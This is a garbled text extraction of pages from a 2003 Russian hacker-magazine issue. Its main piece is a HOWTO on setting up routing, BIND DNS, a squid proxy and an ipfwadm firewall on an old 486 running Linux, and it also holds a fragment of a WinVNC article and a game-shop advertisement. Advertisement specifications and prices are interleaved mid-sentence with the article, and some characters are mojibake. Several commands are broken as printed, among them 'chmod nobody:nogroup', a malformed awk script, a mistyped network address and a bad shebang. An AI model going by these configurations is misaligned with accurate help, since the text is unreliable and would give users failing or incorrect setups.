|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
стрирования. Мне больше всего нравится простая в ис- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
пользовании программулька WinVNC |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
(http://www.realvnc.com). На момент написания статьи |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
последняя версия 3.3.7, вес проги - 564 кб. Вся програ- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
ммка состоит из двух частей: первая вешается на уп- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
равляемый компьютер и слушает определенный порт, а |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
вторая устанавливается на комп, с которого ты хочешь |
$149.99 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
рулить сервак. Дальнейшая работа с такой программой |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
не вызовет проблем - перед тобой обычный рабочий |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
стол мастдая (или линухи, но это не сюда), на котором |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
можно производить манипуляции хвостатым создани- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
ем. Также советую эту прогу установить всем знакомым |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
ламерам, которым ты помогаешь при настройке компа, - |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
так ты сможешь, не отрываясь от своего ящика, настро- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
ить комп челу хоть из Африки. Скорость работы впол- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
не приемлемая: я с модема могу конфигурить сервак, |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
чем сейчас по совместительству и занимаюсь ;). |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
СЕРВЕР ЖИЛ, |
Технические параметры: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
Процессор: 32-Bit ARM |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
ЖИВ И БУДЕТ ЖИТЬ |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
Память: 32-96 KB VRAM (в CPU), 256 KB |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
А теперь некоторые итоги на примере моего сервера. |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
Экран: 2.9’’ TFT c отражающей матрицей (40.8 |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
Сейчас он благополучно работает в качестве шлюза в |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
ìì õ 61.2 ìì) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
инет, сервера удаленного доступа, фаерволла и кэши- |
Разрешение и цвет: 240х160 пикселей, |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
рующего прокси. Установка такого компьютера на гра- |
32.768 возможных цветов |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
нице интрасети и инета позволит сэкономить денежки |
Размеры (ШхВхТ): 144.5 х 82 х 24.5 мм |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
Âåñ: 140 ã |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
и нервы юзеров. Также существенно облегчится учет |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
Питание: 2 батареи класса АА (15 часов) |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
трафика, просиженного пользователями. При всех по- |
|
|
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
Носители данных: картриджи |
|
|
$95.99 |
|
|
|
|
|
|||||||||
|
|
|
|
|
|
|
|
|
|
ложительных чертах были замечены кое-какие мину- |
Другое: Стереозвук, совместим с играми для |
|
|
|
|
|
|
||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
|
|
сы: понизилась скорость работы в сети, больше рабо- |
Game Boy è Game Boy Color |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
ты стало у местного админа по причине потенциальной |
Технические спецификации только для GBA SP: |
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
нестабильности Винды. Для полноценной работы сер- |
* Интегрированная подсветка LCD экрана* Входящая в комплект перезаряжаемая Lithium |
|
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
|
|
вера необходимо больше оперативной памяти, недос- |
Ion батарея, способная работать 10 часов безостановочной игры, заряжаемая всего 3 часа |
|
|
|
|
||||||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
таток которой очень четко проявляется в разгар рабо- |
$59.99 |
$52.99 |
|
$59.99 |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
чего дня (сеть начинает тормозить, выскакивают сооб- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
щения об ошибках при коннекте к прокси-серверу, и |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
сам сервак резко увеличивает время ответа на пинг). |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
Если бы юзеров в сети было поменьше (не больше 10 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
компов), то все было бы тип-топ, а вот при таком раск- |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
ладе лучше всего поставить консольный линух и на |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
нем настроить все вышеописанные сервисы. Хотя если |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
скорость не столь критична, да и в пингвиньей консо- |
Golden Sun: The |
The Legend Of Zelda: |
Castlevania: Aria |
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
ли ты слабоват, ставь Винды - они вполне могут вы- |
|
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
Lost Age |
A Link to the Past |
of Sorrow |
|
|
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
полнять функции простого в настройке сервера. |
$59.99 |
$59.99 |
|
$59.99 |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
E |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Advance Wars 2: |
Donkey Kong |
|
Tom Clancy's |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Black Hole Rising |
Country |
|
Splinter Cell |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Заказы по интернету – круглосуточно! e-mail: sales@e-shop.ru |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
Заказы по телефону можно сделать |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
с 10.00 до 21.00 с понедельника по пятницу с 10.00 до 19.00 с субботы по воскресенье |
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
СУПЕР-ПРЕДЛОЖЕНИЕ ДЛЯ ИНОГОРОДНИХ ПОКУПАТЕЛЕЙ: |
|
|
|
|
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
|
|
|
|
|
|
стоимость доставки |
снижена на 10%! |
|
|
|
|
|
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
|
(095) 928-6089 (095) 928-0360 (095) 928-3574 |
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
#8(33) |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
Вот так можно настроить халявный инет дома |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
HOWTO/В БОЙ ИДУТ ОДНИ СТАРИКИ |
||||||
w Click |
to |
BUY |
|
|
|
|
|
|
|||
|
|
|
|
|
|
|
m |
||||
w |
|
|
|
|
|
|
 ÁÎÉ ÈÄÓÒ ÎÄÍÈ |
||||
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
||
|
|
|
df |
|
n |
e |
|
|
|||
|
|
|
|
-xcha |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
СТАРИКИ |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
ÎÑè 4work
ПРЕВРАЩАЕМ ЧЕТВЕРКУ В СЕРВАК НА ЛИНУХЕ
Vint (vint@townnet.ru) |
Здорово, я снова в эфире! Сегодняшняя статья наверняка будет интересна и актуальна. |
|
Ведь ты, стопудняк, уже устроился на работу к прову крупной локальной сетки, и у |
|
тебя наверняка на стенке висит старая раскуроченная четверка или даже пень. |
|
|
Если у тебя что-то не получилось с ipfwadm, то поищи софтину для конфига фаерволла ipchains, заменяющую ipfwadm, который использовался в старом коде IP Firewall.
Ñейчас мы найдем этому всему применение.
СУТЬ ТРАБЛЫ
Ты наверняка слышал о таких крутых вещах, как аппаратные фаерволлы, гейты (или мосты), и всегда думал, что замутить подобную хрень трудно. Ведь надо иметь новейшее железо, крутейший софт и прямейшие руки. Но, оказывается, все просто, как пупок. Я развею миф о сложности и навороченности сих плюшек простым и элегантным способом: опишу, как настроить шлюз, прокси, фаерволл и почтовый сервак на простенькой машинке: i486 с 16 мегами крутейших SIMM оперативы на борту и еще до кучи сетевуха да мопед - все исключительно isa’шки.
Как ты сам уже понял, железо нашего сервака находится на грани фантастики... 80-х годов. На кой фиг тебе это все, если можно купить крутейший сервак за кучу баксов? А зачем, если наша четверка, грамотно настроенная и оточенная, будет идти наравне с тачкой на Бартоне? Причина этого проста: для наших целей вовсе необязательна огромная производительность - проксить и фаерволить может и комп-пенсионер. Не, бабло с шефа, конечно, сруби и Бартика тащи домой, а на его место отдирай артефактную мать от стены.
Далее определимся с софтом. Для своих извратных целей я избрал дистрибутив ALT Linux Master 2.2.
ХАРД НАДО СТАВИТЬ, НА ТО ОН И ХАРД!
Все делается просто, как раз-два. Становись рутом: su, пароль root’a. Дальше DrakConf - это общий конфигуратор - в нем глянь, есть ли твоя сетевуха в списке (настройка оборудования -> автоопределение устройств). Если она найдена, идем дальше, иначе инет и его факи ждут тебя. У меня все встало идеально.
Затем мы приступаем непосредственно к установке сети, набрав команду netconf или просто в окне
Network configurator кликаем по Basic host information и в открывшемся диалоге пишем сетевое имя компа, затем на вкладке Adaptor 1 включаем (Enabled) сетевуху. После чего вводим инфу о сети и о плате (IP-адрес, сетевая маска, IO Port, Irq). В поле NetDevice укажи тип сетевого устройства - сейчас это eth0 (от Ethernet), а в поле Kernel Module - имя модуля ядра, которое соответствует твоей сетевухе. И еще одна маленькая плюшка: если у тебя сетевуха PCI , то IO Port и IRQ устанавливать не нужно. Все, твоя сетевуха настроена и готова к работе.
Если у тебя будет две сетевые карты, воткни вторую и повтори все снова, а если модем, то просто вклю- чи его - внешние могут работать без особых драйверов и настроек.
А дальше следует заняться собственно настройкой нашей великой машины. Установим-ка мы шлюз!
КРУТЕЕМ И СТАВИМ ШЛЮЗ
Вообще твой комп легко может связать две сети в одну без помощи хаба, но для этого тебе нужно будет две сетевухи (или больше, смотря сколько сетей ты сливаешь) и чуток терпения дочитать эту статью. Также шлюз стоит организовывать, когда у тебя дома/на работе/в универе есть локалка и только одна дырка в Инет. Чтобы все могли его юзать, ты и ставишь шлюз, после чего тебя все носят на руках.
Вот тебе практический пример объединения двух сетей. Дано: IBM 486 с 16 мегами мозгов, две сетевые платы, бухта витухи и два дня сроку. Решение: ставим консольную линуху, настраиваем сетевухи на eth0 и eth1 и даем IP-адреса:
ifconfig eth0 192.168.1.1 up (подняли первую карточку) ifconfig eth1 192.168.2.1 up (подняли вторую карточку)
Дальше необходимо настроить маршрутизацию между подсетями 192.168.1.0 и 192.168.2.0, что позволит юзерам из одной подсети видеть расшаренные ресурсы в другом сегменте. Говорим, что компы, которые находятся в нашем локальном сегменте 192.168.1.*, сидят на первом интерфейсе и обращаться к ним следует напрямую:
route add net 192.168.1.0 192.168.1.1 netmask 255.255.255.0 0
А вот с машинами из соседней сетки, имеющими адреса 192.168.2.*, будем разговаривать через eth1:
route add net 192.168.2.0 192.168.2.1 netmask 255. 255. 255.0 0
Последний параметр - это метрика. Ее можно понимать как “расстояние до шлюза-назначения” или “сколько прыжков между шлюзами
Заставка великого и могучего никсового текстового редактора vim. А ты помог детям?
|
|
|
|
|
|
|
page |
042 |
|
08(33) 2003 |
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
|
X |
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
||
|
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
|
||||
HOWTO/В БОЙ ИДУТ ОДНИ СТАРИКИ |
|
|
|||||||||
|
w Click |
to |
BUY |
|
|
|
|
m |
|||
|
|
|
|
|
|
|
|||||
|
w |
|
|
|
|
|
|
|
o |
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
|
-x cha |
|
|
|
|
придется сделать пакету по пути и обратно”. Так как адреса 192.168.1.1 и 192.168.2.1 являются адресами этой тачки в разных сетях, то метрика равна 0.
Пакеты для IP-адресов, которые не находятся в нашей локальной сети, будем отправлять на машину 192.168.1.11, а она сама будет разбираться, что с ними делать:
route add default 192.168.1.11 1
Обрати внимание, что значение метрики равно 1.
DNS, ЧТОБ НЕ МУЧАТЬСЯ
Дальше разберем проблему с IPадресами и с соответствующими им именами компов - ведь символьный адрес гораздо проще запомнить, чем четырехбайтное число. Так что построим у себя в локалке DNS систему. На всякий случай напомню, что вся работа сервера доменных имен (Domain Name System) сводится к преобразованию мнемони- ческих имен машин в IP-адреса и обратно. То есть для того, чтобы узнать, какой IP у компа VasiaPipkin, необходимо спросить DNS сервер, и только после полу- чения ответа мы можем начинать работу. Учитывая, что на обращение к серверу DNS провайдера требуется 10-15, а иногда и все 30 секунд (это зависит от загрузки сети и от скорости соединения), установка сервера DNS в локальной сети с выходом в инет является просто необходимой. Обычно сервер DNS ставится на шлюзе, который используется для выхода в интернет. Перед началом настройки серванта следует определить, запущен ли он:
ps -ax | grep named
Если запущен - тормози его командой kill или ndc, а если он вообще не установлен, то ставь пакет bind. Учти, что исполнимый файл называется named, а сам пакет - bind. Все, дальше идет чистая настройка.
В файле /etc/named.conf лежит основная информация о парамет-
рах сервера (редактируй из-под рута). Вот пример:
logging {category cname {null;};}; - этот параметр показывает отсутствие канонического имени options {directory “/var/named”;}; - расположение файлов имен
zone “.” {type hint;file “named.ca”;}; - Файл named.ca - корневой кэш, он содержит информацию о корневых серверах DNS
zone “shadrinsk.net” {type master;file “shadrinsk.net”;notify no;}; - это зона, обслуживаемая нашим серваком
zone “0.0.127.in-addr.arpa” {type master;file “named.local”;}; - локальная зона
zone “1.168.192.in-addr.arpa” {type master;file “192.168.1”;notify yes;}; - привязка к IP нашего серванта
Следующий файл - shadrinsk.net. Его основное назначение - выполнять преобразования символьных имен в IP. Вот что внутри:
@ IN SOA den.shadrinsk.net. hostmaster.shadrinsk.net. ( 75031225; - серийный номер
7200; - обновление каждые 2 часа (указано количество секунд) 3600; - повтор каждый час
360000; - хранить информацию 100 часов
86400); TTL (время жизни) записи - 24 часа
IN NS den.shadrinsk.net IN A 192.168.1.1
IN MX 150 den.shadrinsk.net
Файл 192.168.1 - файл обратного соответствия. Он хранит настройки перевода IP в имя. Внутренности такие:
@IN SOA den.shadrinsk.net. hostmaster.shadrinsk.net (
75031225; - серийный номер 7200; - обновление каждые 2 часа 3600; - повтор каждый час
360000; - хранить информацию 100 часов
86400); - TTL записи - 24 часа
@IN NS den.shadrinsk.net
1 IN PTR den.shadrinsk.net;
Запись PTR необходима при преобразовании IP в имя.
2.1.168.192 IN PTR evh.shadrinsk.net;
Если указан не весь IP, то к нему будет добавлен адрес подсети
4work ÎÑè
Есть набор полезных скриптов для настройки фаерволла, доступный на ftpсервере ipchains: ftp://ftp. rustcorp.com/ ipchains/ ipchains-scripts- 1.1.2.tar.gz.
Миджинт командер - первый помощник любого админа
|
|
|
|
|
|
|
08(33) 2003 |
|
page |
043 |
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|
|||
P |
|
|
|
|
|
|
|
|
o |
|
||
|
|
|
|
HOWTO/NOW! В БОЙ ИДУТ ОДНИ СТАРИКИ |
|
|||||||
|
|
|
|
|
|
|||||||
w Click |
to |
BUY |
|
|
|
|
m |
|
||||
|
|
|
|
|
|
|
||||||
w |
|
|
|
|
|
|
|
o |
|
|
make; - сборка бинарика из сорцов; |
|
|
w |
|
|
|
|
|
|
|
|
|
||
|
. |
|
|
|
|
|
e |
|
|
|||
|
|
p |
df |
|
|
|
g |
.c |
|
|
|
|
|
|
|
|
|
n |
|
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
make install; - прога устанавливает |
||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
себя, как хочет (все из-под рута). |
ÎÑè 4work
Официальная
страница
пингвиньего
фаерволла живет по адресу: http://www. rustcorp.com/ linux/ipchains.
Мой пингвинчик приветствует админа
1.168.192, причем байты в IP следует указывать в обратном порядке.
Дальше необходимо установить файл кэша (в нем хранятся основные хосты и соответствующие им IP в Инете). Для этого придется подрубиться к Инету и запустить ДНС сервер у себя на машине. Затем вбивай вот такую комбинацию: nslookup | tee ns (что значит найти более новый файл кэша серваков и их IP). После этого делай: set q=ns (или set type=ns) - это покажет тебе список корневых серверов DNS, который будет помещен в файл ns. А дальше последний шаг: преобразование сграбленного файла ns в понятный серваку вид, для этого, не мудрствуя лукаво, введи:
#./bin/awk awk ‘ BEGIN { /root/ { print “. IN NS “ $4”.” } /internet/ { print $1”.” “ 999999 IN A “ $5 } END ‘ И поюзай софтину reformat вот так: reformat ns named.ca. Теперь осталось скопировать named.ca в каталог /var/named. Дальше все должно заработать.
Свежие сорцы ядра ты всегда можешь слить с одноименного сайта http://www. kernel.org.
ЭКОНОМИМ КОПЕЙКУ
Раз уж мы решили устроить большой трах для нашей четверки, превратим несчастный айбиэм компатабл компутер в настоящий прок- си-сервер с установленным на нем фаерволлом.
Для начала чуток инфы. Проксисервер необходимо ставить, если у тебя есть локальная сеть, сервак и только один канал связи (или один реальный IP). В других случаях ставить прокси особого смысла нет. Если же твой домашний комп вообще не подключен к сети, то проксик только затормозит твою работу в Инете и не принесет никакой ощутимой выгоды. Но если у тебя есть “настоящая” локалка минимум из трех компов, то смело читай дальше - установив кэширующую проксю, ты не только увеличишь скорость доступа к Инету, но и сэкономишь траф за счет кэша.
Клаву и мозги к бою: начинаем ставить squid (http://www.squidcache.org). С самим процессом установки возникнуть проблем не должно:
./configure; - дистр конфижится под твое ядро;
Бинарик ставят так:
rpm -i имя_файла.rpm
А вот более сложный процесс конфигурирования сквида я опишу. Естественно, все настройки будем проводить редактируя конфигурационные файлы всенародным vi. Место нахождения этих файлов сильно отличается, в зависимости от дистрибутива (могут быть в /etc, в /usr/local/etc/squid, в /usr/local/ squid/etc). Так что их придется поискать. Заюзаем команду поиска главного файла squid.conf:
find / -name “squid. conf” -print
Поиск веди от рута. А дальше грузи его в vi да не пугайся, что там 3000 строк, - настроек гораздо меньше. Вот самые необходимые:
#IP-адрес и порт, на котором будет доступен прокси-сервер для клиентов:
http_port 192.168.0.2:3128
#Уберем “общение” с соседними прокси-серверами:
icp_port 0 htcp_port 0
#Отключим кэширование динами- чески загружаемых страниц:
acl QUERY urlpath_regex cgi-bin \? no_cache deny QUERY
#Укажем местонахождение и размер кэша (200Мб):
cache_dir ufs /var/squid 200 32 384
#Местонахождение логов запросов к прокси-серверу: cache_access_log /usr/local/squid/logs/access.log
#Местонахождение логов кэша: cache_log /usr/local/squid/logs/cache.log
Вот так следует конфигурировать сервак
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
|
X |
|
|
|
|
|
|
|||
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
P |
|
|
|
|
|
NOW! |
o |
||||
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
|
BUY |
|
|
||||
|
|
|
|
|
to |
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
||
|
|
w |
|
|
|
|
|
|
|
|
o |
|
# Отключим лог менеджера кэша . |
|
|
|
|
|
e |
|
|||||
|
|
|
p |
df |
|
|
|
g |
.c |
|
||
|
|
|
|
|
|
n |
|
|
|
|
||
(большинство уверяет, что он не |
|
|
|
|
-x cha |
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
|
нужен): cache_store_log none
# Пароль для анонимного ftp-сое- динения:
ftp_user ano@shadrinsk.net
# Откроем доступ к прокси-серверу с клиентов из нашей подсети:
acl all src 192.168.0.0/16 http_access allow all
Но это еще не все :), проблема в том, что демон сквида по умолча- нию запускается с правами nobody из группы nogroup (это один из самых бесправных юзеров в Линухе). Нам следует это учесть и разрешить доступ к файлам прокси такому юзеру. Делаем это так:
chmod nobody:nogroup /usr/local/squid/logs mkdir /var/squid
chmod nobody:nogroup /var/squid
Дальше последует первый (об этом говорит параметр z) запуск:
/usr/local/squid/bin/squid -z
Если все прошло успешно, можешь скакать от радости - твоя четверка превратилась в могучий прокси-сервант, основанный на устойчивой ОС Линукс.
ЗАЩИЩАЕМ ФАЗЕНДУ
Прокси - вещь хорошая, это тебе и анонимность, и распределение трафа, и экономия. Но это не все, на что способна наша четверочка: сей- час мы настроим на базе сей машинки межсетевой экран aka фаерволл. Пингвиний фаерволл использует принцип фильтрации пакетов, то есть он просматривает заголовки пакетов по мере их прихода и решает дальнейшую судьбу всего пакета. Защитник может прибить пакет, принять пакет или сделать с ним что-то еще более сложное, типа маскарадинга или хитрого редиректа ;). То, что Линух - правильная ОС, доказы-
|
|
|
|
|
|
|
page |
044 |
|
08(33) 2003 |
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
|
o |
|||
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
вается уже тем, что защита сетей |
||||
|
|
|
|
|
|
.c |
|
||||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
заложена в ее ядре. Чтобы заюзать эту мазу, тебе нужно скомпилировать ядро, указав одобрение в пунктах IP forwarding/gatewaying (CONFIG_IP_FORWARD) и IP firewalling (CONFIG_IP_FIREWALL). Если вклю- чить эти пункты и задать определенные правила, Линь будет шерстить вообще все пакеты, проходящие с одного интерфейса на другой (если тебе так проще, то с одной машины на другую). Этого вполне достаточ- но, чтобы защитить всю локалку с помощью одного компа - гейта в Инет, что нам идеально подходит.
Чтобы включить и настроить защиту, юзь софтину по имени ipfwadm. При настройке учитывай следующие вещи: если у тебя в сети нет особенных наворотов, то ча- ще всего достаточно закрыть TCPпорты с 1 по 1024, чтобы отрубить доступ к основным TCP-серверам и порты с 5000 по 65535 для запрета доступа к X-серверам. Порты 1025-4999 можно оставить открытыми. Но если у тебя в сети крутится веб, фтп или другой подобный сервак, то следует к указанным выше добавить используемые ими порты (например, для web - 80-й). Более подробно смотри в /etc/service. Все команды настройки защиты следует записать в отдельный командный файл (например, /etc/rc.d/rc.firewall) и вызывать его при выходе системы в мультирежим из файла /etc/rc.d.rc.inet1. Вот маленький отрывок такого файла с необходимыми ремарками:
#./bin/sh NET=195.161.26.87 #Инет LOCALNET=198.168.0.0 #локальная сеть и ее IP
/sbin/ipfwadm -B -f #сброс блокировок #Пропускать всех внутрь локалки (вход - рубль, выход - пять ;))
/sbin/ipfwadm -B -a accept -S ${LOCALNET}/24 -D ${LOCALNET}/24 #Тормозим пакетики на TCP-серверы локалки
/sbin/ipfwadm -B -P tcp -a deny -S 255.255.255.255/0 -D ${LOCALNET}/24 0:1024 #номера портов #Еще не пустим пакеты, направленные на Х-сервера
/sbin/ipfwadm -B -P tcp -a deny -S 255.255.255.255/0 -D ${LOCALNET}/24 5000:64575 #номера портов #Больше блокировать порты не будем -
остались открытыми порты с 1025 по 4999. Это необходимо для работы юзеров: инет, ася, ирка.
